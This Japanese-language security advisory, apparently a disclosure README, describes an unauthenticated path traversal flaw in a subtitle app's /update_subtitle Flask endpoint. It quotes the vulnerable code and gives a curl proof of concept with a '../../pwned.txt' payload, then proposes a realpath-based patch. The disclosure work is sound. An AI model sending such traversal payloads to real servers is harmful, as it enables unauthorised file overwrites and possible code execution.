TahaBakhtari/SubtitleGenerator の /update_subtitle エンドポイントにパストラバーサル(パス横断)の脆弱性が存在します。
このエンドポイントは、認証されていないクライアントから file_name パラメータを受け取り、パストラバーサルシーケンスをサニタイズせずに os.path.join() を使用して固定のベースディレクトリと結合します。
その結果、リモートの認証されていない攻撃者が、意図された data/subtitles/ ディレクトリの外部に、実行中プロセスの権限の範囲内で任意のファイルを書き込むことができます。
2e2553a(テスト時点の最新版)app.py の update_subtitle 関数(225〜238行目)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
file_name パラメータは、検証なしにファイルパスを構築するために使用されます。
攻撃者は ../../pwned.txt のような値を指定して data/subtitles/ ディレクトリから脱出し、プロセスが書き込みアクセス権を持つ任意の場所に書き込むことができます。
デフォルトでは、アプリケーションは 0.0.0.0:5000 にバインドされるため(app.py を参照)、ネットワーク経由で到達可能であり、localhost に制限されません。
CWE-22: 制限されたディレクトリへのパス名の制限の不備(「パストラバーサル」)
Flask プロセスの権限内での任意のファイル書き込み
既存の設定ファイルやアプリケーションファイルの上書き
アプリケーションのソースファイル(例: app.py)の上書きの可能性。これにより、次回再起動時にコード実行につながる可能性があります
重要なファイルの破損によるサービス拒否(DoS)
攻撃ベクトル: リモート
認証の必要性: なし
ユーザー操作の必要性: なし
深刻度(暫定): 高
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
応答:
{"status": "success", "message": "..."}
サーバー上での確認:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
pwned.txt ファイルは、意図された data/subtitles/ ディレクトリの2階層上のプロジェクトルートディレクトリに書き込まれます。これにより、パストラバーサルが確認されます。
この概念実証の実行可能なバージョンについては、poc.sh を参照してください。
ファイルを開く前に、os.path.realpath() を使用して、解決されたパスが data/subtitles/ 内に収まることを検証します:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
これにより、結果のパスが常に data/subtitles/ 内に解決されることが保証され、../../ などのトラバーサルシーケンスを効果的にブロックします。
完全なパッチは patch.diff で入手できます。この修正はローカルのテストインスタンスに対して実装・検証済みです。上記の PoC で使用したものと同じペイロードは、ファイルを書き込む代わりに "invalid filename" エラーを返すようになりました。
Arda Kuruoglu によって発見・報告されました。
この脆弱性は、メンテナへの初期報告日から起算した90日間の責任ある開示(responsible disclosure)スケジュールに従って開示されました。
README.md — 本レポートpoc.sh — 脆弱性を示す概念実証スクリプトpatch.diff — 推奨パッチ。ローカルのテストインスタンスで検証済み本レポートおよび付属ファイルは MIT ライセンスの下で公開されています。